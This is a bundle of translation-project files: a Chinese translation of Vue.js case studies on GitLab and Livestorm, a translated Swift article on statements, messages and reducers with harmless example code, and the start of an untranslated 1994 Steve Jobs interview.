Vue.js,他们知道他们的代码是牢固的。 > Vue.js 确实提升了我们的测试协议。Jest对我们来说是一个比较聪明的测试工具。但是有了 Vue 之后,我们觉得我们又更多的方法来控制应用的各个方面,Roman 阐述道。 > 我可以运行 15 个执行特定操作的测试。这样的方式可以让我轻松地识别代码中的断点。在以前的验收测试中,我没办法这样做,因为这需要消耗很长的时间。得到的结果不值得我们付出那么多的精力。单元测试在这方面反而更好。在代码方面,我知道它是牢固的,因为我们以全新的方式对它进行测试,结果令人难以置信。 ### GitLab GitLab 是一个集代码托管,测试,部署于一体的开源git仓库管理软件。 > 每一个框架都有自己的适用领域,使用 Vue 的时候,每一次斗争都是你自己的,而不是 Vue 的。它只是一个完美的框架。 > > 来自 Jacob Schatz, GitLab 前端 Leader **挑战** 实现复杂的功能以及维护现有的功能会有困难。 大型的 Rails + jQuery 应用难以扩展。 应用速度不足。 **解决办法** 逐渐将 Vue.js 引入到 GitLab 中,以便与 jQuery 一起使用。 把 Vue.js 用在合适的新的功能上以及迁移旧的功能。如无必要,不做完整的重写或者重构。 使用 webpack 创建优化后的代码包。 **产出** 整个代码库和代码结构体系中的统一的样式指南变得更加容易维护。 极大改善了时间消耗以及编码效率。 因为能够实现更复杂的功能,改善了用户体验,从而导致了更好的销售业绩。 通过减少包的体积使页面的加载时间得到改善。 #### 挑战 经过六年的市场推广,GitLab 已经成为上千家公司开发人员心目中知名的解决方案提供商。但是在两年前,公司内部的大部分代码仍然是用 Rails 和 jQuery 编写的。 直到 2015 年,公司还没有专职前端的开发人员,而且整个体系运转得十分良好。Rails 开发人员兼职写前端代码而且做的很棒。然而,公司未来的计划需要一个新的解决方案。 > 当我刚进公司的时候,我看到我们有一些比较简单的项目是只用 jQuery 实现的。但如果我们想要做一些更复杂的东西,或者说我们想要实现一些比较大的点子,我们需要一些别的东西。Jacob 解释道, ![](https://ooo.0o0.ooo/2017/11/03/59fc19771d8ba.png) > jQuery 很棒,但是因为你要负责代码内的每一个状态的变化,这样容易导致它造成更多的 bug。 为了达成目标,GitLab 开始寻找一个新的解决方案。 > 因为我之前有使用 Backbone 的经验,所以我们考虑过它。我们也仔细考虑过 React,但是也淘汰了。还有 Embar 和其他的不同的框架。我甚至想过用每个框架都做一个小项目出来,那时候我们甚至还没想过 Vue.js!Jacob 回忆道。 测试所有的这些框架帮助 Jacob 认识到了它们的优缺点。 > Backbone 有很好的结构,它有很多小工具可以完成任务。但是你用起来其实和 jQuery 没什么太大区别。而我对使用 React 这种依赖大公司的框架有些恐惧,因此它似乎也不适合我。我非常喜欢 Mithril!唯一的问题是它写起来非常困难。如果他们能加入一些友好性, 我相信人们会开始适应它。 另外一个大的挑战就是为切换新技术做个成熟的方案。这么做有很大的风险,因此必须良好地切换它。 > 在 GitLab,我们有成吨的代码。当我加入的时候,我们的代码库已经有 8000 行的 JavaScript代码了。很明显,我完全不想去彻底重写这玩意。实际上我们的代码库中还是有些地方是用 jQuery 写的。 #### 解决方案 测试了一些框架之后,Jacob 在他手头的框架里还是找不到一个完美匹配的。只有在他用 Vue.js 的早期版本写了一个很大的项目之后,他才意识到自己可能找到黄金了。 > 当我把这个项目放在一起的时候,我就知道我们可以用这个框架写很多代码。这不仅仅是写一个简单的 todo 应用。所有问题都会在你开始处理这个大型的应用的时候真正开始,Jacob 解释道。 在 GitLab 开始切换到 Vue.js 之前,他们需要做一次概念验证。 > Phil Hughes [Sr. GitLab 前端工程师],创建一个概念验证,我们在那里采取了一个我们正在做的主要功能 —— issue boards 。Phil 用 Vue.js 写这个,显而易见,我们在很短的时间内完成了大量的工作!没有之前 jQuery 带来的各种 bug。Jacob 说道。 ![](https://ooo.0o0.ooo/2017/11/03/59fc19cb934bd.png) Vue.js 支持 Jacob 在他的团队中推广自己的方法--小范围迭代,并建立概念验证。 > 他说,我们总是有四到五个概念验证。 通过这种方法, GitLab 引入了 webpack ,它能够将资源拆分成更小的块供浏览器下载,从而缩短了应用的加载时间。 > 我们创建了一个小的概念验证来判断 webpack 是否可行,当我们发现这是可行的时候,我们走完了整个流程并结束了 Vue 和整个 trello 应用的开发。并在一个月内取代了数十亿美元的产业,干得好,Phil!Jacob 笑了。 响应式模板(reactive templates)这个功能是 Vue.js 中最有用的。 > 这是 Vue 所做的非常非常简单的一件事情。 我在 GitLab 中编程的第一件事就是进入 issue 页面,在之前,当你点击 close 的时候,你必须刷新页面。 而现再,它改变了合并按钮(merge button)的状态,它会自动改变下面所有按钮的状态。在 jQuery 中,我们需要写至少三四十行的代码来保证这个按钮的状态是正确的。在 Vue.js 中只需要一行代码。视图总是会反映出当前的情况, Jacob 解释道。 > 而且现在我们使用 Vuex,它比之前做的更好。状态管理工作有了很大的不同 虽然 Vue 有很多优点,但是它也有一个缺点。 > 目前 GitLab 有 15 名开发者。像 Angular 这样的框架,大家可以在一起用同样的方式工作。而 Vue 比它开放很多,所以我们需要建立文档来告诉大家在 Vue.js 中写代码时该遵循什么样的模式。不过这是我们已经解决了的问题,Vue的开放性也是它的魅力所在,但是你需要保证所有人都在同一个层面上。 **[VUE.JS STYLE GUIDE BY GITLAB](https://docs.gitlab.com/ee/development/fe_guide/style_guide_js.html) #### 产出 > 使用 jQuery 来扩展应用和引入新功能其实是可以的,不过维护起来就要困难的多。 > 我们现在正在做的事情需要非常大的代码量以及很多的组织。针对这些问题 Vue 解决了很多。Jacob 说。 > 像 Vue.js 中的响应式这种, 你给它一个变量,它会直接绑定到 DOM 上并处理好所有其他的事情,尤其是 2.0 版本中的虚拟 DOM,它提供给我们一个简化工作流程的办法去改善性能。 GitLab 之所以可以快速迭代并提高代码的可用性,这都要归功于 Vue.js。 > 在之前我们需要专注一些小的细节和代码,现在我们终于可以专注于代码可用性以及用户体验。我们可以思考更大的图景。 Vue.js 是如此的开放和易上手,GitLab 的前端开发人员每天都能够处理它。 > 和其他工具相比,Vue 不用遵循任何严格的知道规则。它是开放的,这点实在太赞了。我喜欢它现在做的一切。当然它有着你能想象到的最神奇的文档。它对于新人非常直观和友好。 Vue.js 帮助 GitLab 改善了时间和成本效益 > 大家知道事实上我们的发展速度更快了。这很容易看出来。从销售角度来看,我们正在创造的更良好的用户体验功能吸引人们使用 GitLab ,并使它成为更加令人期待的产品。人们喜欢我们用 Vue.js 开发的新功能。因为我们改善了用户体验,也间接增加了销售量。 Jacob 认为他们将来肯定会再使用 Vue.js。 > 我们都准备好了!现在我们还有其他的挑战。目前我们正在努力改进我们的流程并加快测试的速度。 Vue.js 为我们解决了如此多的问题以至于我们肯定在将来持续地使用它。 ### Livestorm Livestorm 是一种基于网络的、集成一体的在线会议解决方案。它帮助像 Workable, Pipedrive 或者 Instapage 等公司进行现场销售演示或者客户培训。 > 我们不需要花一个月时间用 React 来把所有事都安排好,Vue 让我们在一周内就可以办到。我完全确信如果没有 Vue ,就不会有今天的我们。 > > 来自 Livestorm 的联合创始人兼首席执行官 Gilles Bertaux. **挑战** 从零开始建立可靠的实时网络软件,并使其在竞争激烈的市场中产生影响。 在巴黎,只有极少数的 Vue.js 专家。 吸引初始用户并验证产品的理念。 **解决方案** 建立一个快速的最优秀应用。 使用 Vue.js 和 Ruby 创建一个高性能的应用。 在 Vue.js 社区上为团队寻找潜在的员工。 **成果** 立即得到用户的积极反馈。 可重用的组件以及快速开发。 快速成长的业务量以及每月 20-30% 的收入增长。 #### 挑战 与其他网络平台不同,Livestorm 渲染了浏览器中的一切。该服务通过分析、与流行的客户关系管理系统集成、以及营销自动化软件提供可实施的办法。 对于这样的应用,Gilles 和他的团队必须选择一个高性能的技术栈。他们打算从零开始验证他们的想法并建立一个稳定可靠的产品。 > Livestorm 的主干是一个 Rails 应用程序——后端所有东西都是用 Ruby 做的。 Gilles 解释道:对于我们所有的前端组件,我们选择了 Vue.js。 > 我们从 2016 年 1 月开始开发我们的项目,从第一天开始,我们就知道我们会使用 Vue。我们需要一些完全开源的、高性能的、有特定逻辑的组件。Vue 是唯一能满足我们所有需求的框架。 ![1509695413(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc1fc911d6a.jpg) Livestorm 由四位联合创始人创建,力图从公司的最初阶段组建一支强大的员工队伍。 > 我们考虑了很多招聘问题。在我们工作的巴黎地区只有很少的 Vue.js 开发人员。我们也考虑招聘精通类似于 Vue 的其他框架的开发人员,但是这种情况下,新员工培训过程可能花更长时间,这对我们来说是有问题的。 为了建立一个成功的流媒体产品,团队必须关注可靠性。 > 可靠性对我们来说是头等大事。Gilles 说:如果你失去了直播流,网络研讨会和演示会崩溃并且流媒体丢失,我们的业务就会变得毫无意义。 > 如果应用程序挂了,或者有一个 bug 让它无法使用,我们会失去用户。我们需要一种技术来保证最高的代码质量,并且运行得很快。我们仍然在执行端到端单元测试。有些事情我们还没有用 Vue 实现,这对我们来说是全新的。 #### 解决方案 大多数开发人员仍然选择 React 和其他流行的框架,但是 Gilles 相信这将会有所改变。 > 为了给我们的员工招聘专家,我们参加了在巴黎的 Vue.js 聚会,在那里我们遇到了很有经验的人。我们也试了在招聘网站上发布招聘,有趣的是,约谈的大多数程序员说他们在自己的项目上用 Vue.js,但是他们平日工作用的基本是 Angular、React,和其他框架。Gilles 指出,他们大多数来自大公司。 > 然而,我注意到一件事,那些经常使用这些技术的公司,是因为代码遗留所迫,或者是因为他们想尝试一下其他人也在尝试的技术新热点。在创业社区,在我参加的多个轻松的渠道和会面中,与我交谈的首席技术官和联合创始人对迁移到 Vue.js 很感兴趣,他们对我们在 Livestorm 里用了 Vue 很兴奋并且问了很多问题。坦率地说,我相信会有一个重大的转变——人们会对迁移到可靠、高效的东西更感兴趣,像 Vue.js。Gilles 补充说:而像 React 这类炒作的技术会逐步减少流行,直到他们最后被淘汰。 Gilles 想把他的产品尽快发布,他的团队创建了一个快速的 MVP 来获得外部世界的最初反馈。 ![](https://ooo.0o0.ooo/2017/11/03/59fc226671fba.png) > 我们花了不到一个月的时间创建了第一个 MVP。这足以展示产品和基本理念。他回忆说:最后,我们得到了很多积极的反馈,从而确保了我们是符合市场需求的。 > 我们花了 5 个月的时间卖出了第一份订阅。这是相当长的一段时间,但是我们需要首先完成一些与技术没有必然联系的东西。 Gilles 的团队在他们的平台上创建的一系列功能使其成为一个有竞争力的解决方案,真是令人惊叹。 > 直播会议、网络摄像头和屏幕共享中的 WebRTC 实时流、全高清流媒体直播是主要的视频相关的功能。我们也提供了一个运行于 Vue.js 的聚焦于分析的部分,并且与流行的销售和营销工具,例如 Salesforce 集成。我们也开发了其他基于浏览器的网络会议软件所没有的独一无二的功能,让用户可以在飞机上从 WebRTC 切换到 HLS,使媒体流可以与 IE 浏览器用户以及一部分移动设备匹配。 #### 成果 投入市场一年后,Livestorm 拥有来自世界各地的用户,并且有了一个已经盈利的产品。 > 我们已经有大约 150 名付费用户,他们都对 Livestorm 的速度之快印象深刻,他们也喜欢界面和交互。从商业上来说,我们有一个不受我们干扰能独立运行的应用程序,所以说——我们没有一个销售团队。我们有 7 名员工,包括产品专家、工程师,以及一名营销人员。那个人是我,Gilles 解释道:但是只是因为产品非常好而且可靠,我们每个月有 20%-30% 的增长。 借助 Vue.js ,Livestorm 可以更快地发布新功能,以满足客户的需求。 > 当然,我们试图尽快地上新功能。现在我们在一个为期两个月的开发阶段,该阶段将以一个大型功能的发布而结束,但是我们通常在一两周内发布功能,Gilles 解释道。 > 有了 Vue.js 我们不必每次都去造轮子。 > 我们可以重用所有已有的组件来加快开发。现在,我们代码库的 39.5% 是用 Vue 创建的。 ![](https://ooo.0o0.ooo/2017/11/03/59fc22c98b5f1.png) Gilles 声称选择 Vue.js 而不是其他框架让他的公司成功得更快。 > 只有基准说明了真相,而现在基准清楚地证明了 Vue.js 绝对是新产品和现有产品的选择。他说:所以如果任何人在不久的将来必须做出技术选择,他们应该依靠具体事实、数据和基准,而不是观点。 > 如果你有很多开发人员,他们已经习惯了使用 Angular 或者是更加经典的框架,让他们迁移到 React 会使整个团队感到痛苦。另一方面,过渡到 Vue,更加顺畅,反过来只要更低的成本。 我们不需要像 React 花一个月的时间来把所有事都建立好。Vue 让我们在一周内开始运作。如果不是 Vue,我 100% 地肯定我们永远不会达到现在这样的成就。 ### Vue.js 的特点 来自 Vue.js 的作者 Evan You #### 可持续性 作为一个项目,Vue.js 已经走了很长的路才能成为今天的样子。它已经从一个小的实验成长为一个成熟的框架,并且被全世界成千上万的开发者使用。它已经从一个“项目”发展成一个生态系统,在 vuejs 组织中有超过 300 个贡献者,并由来自全球的超过 20 个活跃成员组成的核心团队维护。核心团队成员承担了核心库的维护、文档、社区参与以及主要的新特性例如类型声明的改进和测试功能。说 Vue 是“一个人的项目”不再准确,也是对团队和社区的所有惊人贡献的不尊重。 从财政上来说,从 2016 年 2 月来,Patreon 活动已经收到了稳定的有保障的收入,这让我可以在过去一年半时间里全职工作在这个项目里。另外,最近开始的 OpenCollective 活动,旨在为社区举措提供财政支持,在短短两周里已经收到超过 11000 美元的年预算,而且还在持续增长。更重要的是,这些开放的财政贡献渠道意味着你的公司可以通过成为赞助商积极帮助确保项目的可持续性。 今天我有信心地说作为一个开源项目,Vue.js 已经超越了这一临界点,即项目的生存对任何考虑是否采用该项目的人来说不再是一个问题。 #### 稳定性 前端的设计变化很快,我们知道不断改变有多么令人沮丧。这是为什么我们这么重视稳定性。在 GitHub 上查看项目的历史,你会看到一系列新特性和改进的版本的坚实记录,及时的 bug 修复,以及对代码一丝不苟的标准(是的,我们保证 100% 测试覆盖率)。 所有 Vue.js 包的发布遵循了语义版本控制,我们尽最大努力通过交流提前知道任何潜在的需要的操作。2015 年 10 月,1.0 版本发布了,并没有在公共接口中有所突破,直到一年后 2.0 版本的发布。在 2.0 发布之前,我们进行了公开设计讨论,并发布了多个 alpha/beta/RC 版本来确保最终版本的稳定性。我们尽力保持接口与 1.0 相似,并提供全面的指导和升级工具。今天,2.0 已经发布了一年多了,在全球的产品内得到广泛应用,我们不认为在可预见的将来需要对主要的接口做修改。我们致力于在对用户最小影响下改进框架。 #### 连续改进 当然,我们不会只满足于当前我们已经做的事情。 我们在未来几年的探索和实施的计划中有很多想法,我会将它们分为三类: ##### 近期的改进 这些新特性/改进将会持续发布于 2.x 小版本中,它们可以来自特性需求、来自更广网络开发社区的灵感,以及我们在实际开发中遇到的用例。 ##### 中期的改进 有新的 JavaScript 语言特性(比如 ES2015 代理,Promises)可以简化或改进当前的接口,但是因为必须要支持 IE9,现在还不适合放在主分支上,我们计划在并行分支中开始利用这些特性,而这需要最新的主流浏览器支持。 ##### 长期的改进 我们还关注新兴的标准,比如 ES 类语法改进(类变量和装饰器),网络组件(自定义元素和 HTML 模块)以及 WebAssembly。我们已经开始了其中一些实验,并且一定会利用它们来进一步改进 Vue 的开发经验和性能,因为它们在浏览器适应方面已经成熟。 #### 长期愿景 很多人问我为什么开始使用 vue.js。老实说,一开始目的是为了“给自己挠痒痒”,创建一个我自己喜欢用的前端库。在这个过程中,随着 Vue 被越来越多的用户接受,我收到了很多来自用户的消息说 Vue 使他们的工作变得越来越令人愉快,因此看上去我的偏好与很多网络开发者朋友们不谋而合。今天,我设想 Vue 的目的变为用来帮助更多开发人员喜欢在网络上创建应用程序。我相信更快乐的开发人员会更加高产,并且最终为每个人创造很多价值。目标需要提供一个可获得的、直观的、同时可靠、强大并且可扩展的框架。我相信我们正处于正轨上,但我们也可以做更多的事情,特别是通过 Web 平台得到比以往更快的发展。 我们为即将到来的事情感到兴奋。 © Monterail, October 2017 Monterail 是一个由 80 多个专家组成的紧密团队 为创业公司和企业提供网络和移动开发。 并且我们喜欢 Vue。 [http://www.monterail.com](http://www.monterail.com) [hello@monterail.com](mailto:hello@monterail.com) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/statements-messages-reducers.md ================================================ > * 原文地址:[Statements, messages and reducers](https://www.cocoawithlove.com/blog/statements-messages-reducers.html) > * 原文作者:[Matt Gallagher](https://www.cocoawithlove.com/about/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/statements-messages-reducers.md](https://github.com/xitu/gold-miner/blob/master/TODO/statements-messages-reducers.md) > * 译者:[zhangqippp](https://github.com/zhangqippp) > * 校对者:[atuooo](https://github.com/atuooo),[sqrthree](https://github.com/sqrthree) # 语句,消息和归约器 在优化程序的设计时,一个通常的建议是将程序拆分成小而独立的功能单元,以便我们可以隔离组件之间的联系,独立地考虑组件内部的行为。 但是如果这是你优化程序的唯一思路,那么在实践中应用它的时候就会有些困难。 在本文中,我将通过一小段代码的简单演进来向你展示如何实践上述的优化建议,最终我们将达成一个并发编程中普遍的模式(在大多数有状态的程序中都很有用),在此种模式中我们从计算单元的三个不同层面构建我们的程序:“语句”、“消息” 和 “归约器”。 > 你可以在 GitHub 上[下载本文的 Swift Playground](https://github.com/mattgallagher/CocoaWithLovePlaygrounds) 。 内容 - - [目标](#目标) - [一系列语句](#一系列语句) - [通过消息控制你的程序](#通过消息控制你的程序) - [通过组件连接构建逻辑](#通过组件连接构建逻辑) - [归约器](#归约器) - [我们还能做些什么?](#我们还能做些什么) - [结论](#结论) - [展望…](#展望) ## 目标 本文的目的是介绍如何在程序中将状态独立起来。有很多我们可能想要这么做的原因: 1. 如果控制逻辑是简洁的,那么在单一位置的行为就很容易理解。 2. 如果控制逻辑是简洁的,模式化和理解组件之间的联系就很简单。 3. 如果只在单一的位置访问某个状态,那么改变这个访问入口的执行环境(例如队列,线程,或者一个锁的内部)将很容易,同样也可以轻易地将程序变为线程安全的或者同步的。 4. 如果状态只能以受限制的方式被访问,我们就能够更谨慎地管理依赖,并且在依赖变化时及时更新。 ## 一系列语句 **语句**是命令式编程语言(如 Swift )中的标准计算单元。语句包含赋值,函数和控制流,还可能包括逻辑结果(如状态变化)。 我知道我是在向程序员解释基本的编程术语,我只会简洁的说明。 下面是一段简单的程序,其内部的逻辑是由语句组成的: ``` func printCode(_ code: Int) { if let scalar = UnicodeScalar(code) { print(scalar) } else { print("�") } } let grinning = 0x1f600 printCode(grinning) let rollingOnTheFloorLaughing = 0x1f923 printCode(rollingOnTheFloorLaughing) let notAValidScalar = 0x999999 printCode(notAValidScalar) let smirkingFace = 0x1f60f printCode(smirkingFace) let stuckOutTongueClosedEyes = 0x1f61d printCode(stuckOutTongueClosedEyes) ``` 这段程序会分行打印如下内容: 😀 🤣 � 😏 😝 **上面的被框起来的问号字符不是错误,代码中故意在将参数转化为 `UnicodeScalar` 失败时打印 Unicode 替代符号(`0xfffd`)。** ## 通过消息控制你的程序 纯粹由语句构建的逻辑的最大的问题在于不易于扩展。在寻求减少代码冗余的过程中自然地会导致代码被数据驱动(至少是部分驱动)。 例如,通过数据驱动上述例子可以将最后的 10 行代码减少到 4 行: ``` let codes = [0x1f600, 0x1f923, 0x999999, 0x1f60f, 0x1f61d] for c in codes { printCode(c) } ``` 当然,上述例子有些过于简单,可能不能清晰地反映出这种变化。我们可以增加这个例子的复杂性来使差异更加明显。 我们将数组中的基本类型 `Int` 替换成一种需要更多处理的类型。 ``` enum Instruction { case print case increment(Int) case set(Int) static func array(_ instrs: Instruction...) -> [Instruction] { return instrs } } ``` 现在,相对于简单地打印收到的每个 `Int` 值,我们的处理机需要管理一个内部的 `Int` 型的存储器和不同的 `Instruction` 值,这些 `Instruction` 值可能会用 `.set` 方法给存储器赋值,或者用 `.increment` 方法给存储器做累加,又或者用 `.print` 方法打印存储器的值。 来看一下我们会用什么代码来处理数组中的 `Instruction` 对象: ``` struct Interpreter { var state: Int = 0 func printCode() { if let scalar = UnicodeScalar(state) { print(scalar) } else { print("�") } } mutating func handleInstruction(_ instruction: Instruction) { switch instruction { case .print: printCode() case .increment(let x): state += x case .set(let x): state = x } } } var interpreter = Interpreter() let instructions = Instruction.array( .set(0x1f600), .print, .increment(0x323), .print, .increment(0x999999), .print, .set(0x1f60f), .print, .increment(0xe), .print ) for i in instructions { interpreter.handleInstruction(i) } ``` 这段代码产生了和之前的例子一样的输出,它在内部使用了和之前类似的 `printCode` 方法,但是实际上是 `Interpreter` 结构体执行了一小段由 `instructions` 数组定义的微程序。 现在可以“更”清楚地看到我们的程序逻辑是由两个层面上的逻辑组成: 1. `handleInstruction` 方法和 `printCode` 方法中的 Swift 语句解释和执行每一条指令。 2. `Instructions.array` 中包含了一系列需要被解释的消息。 我们的第二层计算单元就是所谓的**消息**,它可以是任何能够被放入数据流中传递给组件的数据,这些数据流中的数据的结构本身就能够决定执行结果。 > **术语提示**:我将这些指令称为“消息”,这是沿袭了[过程演算](https://en.wikipedia.org/wiki/Process_calculus)和[参与者模式](https://en.wikipedia.org/wiki/Actor_model)中的术语用法,但有时候也会使用“命令”这个词。在某些情况下,这些消息也会被当成是一种完全的“特定作用域语言”。 ## 通过组件连接构建逻辑 上一节的代码最大的问题在于它的结构并不能直观地反映出计算的结构;我们很难一眼就看出逻辑的走向。 我们需要弄明白计算的结构应该是什么样子的。我们做如下尝试: 1. 取一系列的指令 2. 将这些指令转化为一系列对内部状态的影响 3. 将消息传递给能够实现`打印`动作的第三方控制台 我们能够从执行这些任务的 `Interpreter` 结构体中识别出这几部分,但是这个结构体没有被直观地组织起来以反映出这三个步骤。 所以我们将代码重构成能够直接地展示这种联系的样子。 ``` var state: Int = 0 Instruction.array( .set(0x1f600), .print, .increment(0x323), .print, .increment(0x999999), .print, .set(0x1f60f), .print, .increment(0xe), .print ).flatMap { (i: Instruction) -> Int? in switch i { case .print: return state case .increment(let x): state += x; return nil case .set(let x): state = x; return nil } }.forEach { value in if let scalar = UnicodeScalar(value) { print(scalar) } else { print("�") } } ``` 这段代码依然会和之前的例子打印同样的输出。 现在我们有一个三节的管道,它能够直接地反映出上面提到的 3 点:一系列指令,解释指令并对状态值产生影响,以及输出阶段。 ## 归约器 我们来看一下管道中间的 `flatMap` 这一节。为什么这一节最重要? 不是因为 `flatMap` 函数本身而是因为我只在这一节中使用了捕获闭包。 `state` 变量只在这一节中被捕获和操作,这相当于 `state` 的值是 `flatMap` 闭包的一个私有变量。这个状态在 `flatMap` 这一节之外只能被间接地访问 —— 即只能通过提供一个 `Instruction` 输入来设置,同样也只能通过 `flatMap` 这一节中选择发送的 `Int` 值来进行访问。 我们可以将这一节抽象为如下模型: ![Figure 1: a diagram of a reducer, its state and messages](https://www.cocoawithlove.com/assets/blog/reducer.svg) 作为“归约器”的管道中某一节的图表 此图中每个 `a` 变量的值都是 `Instruction` 值。 `x` 变量的值是 `state` , `b` 变量的值是将被发送的 `Int?` 类型的值。 我将之称为**归约器**,这是我想要讨论的第三层计算单元。归约器是一种带有身份标识( Swift 中的一种引用类型)的实体,其内部状态只能通过出入的消息进行访问。 我说归约器是我想讨论的第三层计算单元是因为我没有考虑归约器内部的逻辑,而是把归约器(典型的 Swift 语句影响被包装的状态)当做一个由其和其它单元的连接定义的黑盒单元来考虑,这些黑盒单元是我们设计更高层逻辑的基础。 另一种解释是当语句**在**上下文中执行逻辑时,归约器通过在执行环境之间跨越形成逻辑。 我使用一个捕获闭包来将一个 `flatMap` 函数和一个 `Int` 变量组成了一个归约器,但大部分归约器是`类`的实例,这些实例会将它们的状态维持的更加紧密,并且帮助我们把逻辑整合到更大的逻辑结构中。 > 用“归约器”这个词来描述这种结构来自于编程语言语义学中的[归约语义学](https://en.wikipedia.org/wiki/Operational_semantics#Reduction_semantics)。有一个奇怪的术语转换,“归约器”也被称为“累加器”,尽管这两个词在语义上近乎对立。这是一个视角的问题:“归约器”是指将输入的消息流归约成为一个单一的状态值;而“累加器”则是指在输入消息到达时这种结构会将新的信息累加到它内部的状态上。 ## 我们还能做些什么? 我们可以将归约器的抽象替换为完全不同的机制。 我们可以迁移之前的代码,将对 Swift `数组`值的操作迁移成使用 CwlSignal 响应式编程框架,这其中的工作量不只是拖拽操作这么简单。这样做能够给我们提供异步能力或者给程序的不同部分提供真实的交流通道。 代码如下: ``` Signal.from(values: [ .set(0x1f600), .print, .increment(0x323), .print, .increment(0x999999), .print, .set(0x1f60f), .print, .increment(0xe), .print ]).filterMap(initialState: 0) { (state: inout Int, i: Instruction) -> Int? in switch i { case .print: return state case .increment(let x): state += x; return nil case .set(let x): state = x; return nil } }.subscribeValuesAndKeepAlive { value in if let scalar = UnicodeScalar(value) { print(scalar) } else { print("�") } return true } ``` 这里的 `filterMap` 功能更适合作为一个归约器,因为它提供了真实的内部私有状态作为 API 的一部分 —— 没有更多的被捕获变量需要建立私有状态 —— 它在语义上等同于之前的 `flatMap` ,因为它映射了信号中的一系列值并且过滤掉了可选项。 抽象之间的简单变化是可实现的,因为归约器的内容取决于消息,而不是归约器机制本身。 除了归约器之外是否还有其它层次的计算单元?我不清楚,至少我没遇到过。我们已经解决了状态封装的问题,所以任何额外的层次都将是新的问题。但是,如果人工神经网络可以具有“深度学习”,那么为什么编程不能有“深度语义学”?显然,这是未来的趋势 😉。 ## 结论 > 你可以在 GitHub 上[下载本文的 Swift Playground](https://github.com/mattgallagher/CocoaWithLovePlaygrounds)。 这里的结论是,将程序分解成小而隔离的组件的最自然的方法是以三个不同的层次组织你的程序: 1. 归约器中的状态代码被限制为只有进出的消息能够访问 2. 能够将归约器执行为指定状态的消息 3. 归约器形成的图表结构组成更高级的程序逻辑 这些都不是什么新思路;这一切都源自于 20 世纪 70 年代中期的并行计算理论,而且自从 20 世纪 90 年代初“归约语义学”确立以来,这些思路并没有大的改变。 当然,这并不意味着人们总是遵循这些好的思路。面向对象编程是 20 世纪 90 年代和 21 世纪初人们曾经试图解决所有编程问题的锤子,你可以从对象中构建一个归约器,但并不意味着所有的对象都是归约器。对象中没有限制的接口会使状态,依赖和接口耦合的维护变得非常困难。 然而,我们可以直接将对象建模为归约器,只要通过将公共接口简化成如下内容: - 构建器 - 接受消息输入的方法 - 订阅或者其它连接到消息输出的方法 在这种情况下,**限制**接口的功能会极大地提供维护和迭代设计的能力。 ### 展望… 在[通过组件连接构建逻辑](#通过组件连接构建逻辑)这一节的例子中,我对 `flatMap`(不是单子)使用了有争议的定义。在我的下一篇文章中,我将讨论为什么单子被许多功能程序员认为是基本计算单位,而在命令式编程中的严格实现有时却并不如非单子的转换有用。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/steve-jobs-in-1994-the-rolling-stone-interview-20110117.md ================================================ ## Even at one of the low points in his career, Jobs still had confidence in the limitless potential of personal computing > * 原文链接 : [Steve Jobs in 1994: The Rolling Stone Interview | Rolling Stone](http://www.rollingstone.com/culture/news/steve-jobs-in-1994-the-rolling-stone-interview-20110117) * 原文作者 : [JEFF GOODELL](http://www.rollingstone.com/contributor/jeff-goodell) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : * 校对者: * 状态 : 待定 The story of Apple CEO Steve Jobs is one of the most familiar in American business -- shaggy Bob-Dylan-loving kid starts a computer company in a Silicon Valley garage and changes the world. But like any compelling story, it has its dark moments. Before the [iPad](http://www.inc.com/topic/Apple+iPod "Apple iPod") or the [iPhone](http://www.inc.com/topic/Apple+iPhone "Apple iPhone"), Jobs, then the head of the short-lived [NeXT Computer](http://www.inc.com/topic/NeXT+Computer+Inc. "NeXT Computer Inc."), sat down with [Rolling Stone](http://www.inc.com/topic/Rolling+Stone+LLC "Rolling Stone LLC")'s [Jeff Goodell](http://www.inc.com/topic/Jeff+Goodell "Jeff Goodell"). It was 1994, Jobs had long ago been booted from Apple, the internet was still the province of geeks and academics, and the personal computer revolution looked like it might be over. But even at one of the low points in his career, Jobs still had confidence in the limitless potential of personal computing. Read on to get Jobs' prescient take on PDAs and object-oriented software, as well as his relationship with [Bill Gates](http://www.inc.com/topic/Bill+Gates "Bill Gates") and why he wanted the internet in his den, but not living room. Steve Jobs [died of pancreatic cancer at the age of 56](../../../culture/news/steve-jobs-apple-founder-dead-at-56-20111005) on October 5th, 2011. Like other Phenomena of the '80s, Steve Jobs was supposed to be long gone by now. After the spectacular rise of Apple, which went from a garage start-up to a $1.4 billion company in just eight years, the Entrepreneur of the Decade (as one magazine anointed him in 1989) tried to do it all again with a new company called NeXT. He was going to build the next generation of the personal computer, a machine so beautiful, so powerful, so _insanely great,_ it would put Apple to shame. It didn't happen. After eight long years of struggle and after running through some $250 million, NeXT closed down its hardware division last year and laid off more than 200 employees. It seemed only a matter of time until the whole thing collapsed and Jobs disappeared into hyperspace. But it turns out that Jobs isn't as far gone as some techno-pundits thought. There are big changes coming in software development — and Jobs, of all people, is trying to lead the way. This time the Holy Grail is object-oriented programming; some have compared the effect it will have on the production of software to the effect the industrial revolution had on manufactured goods. 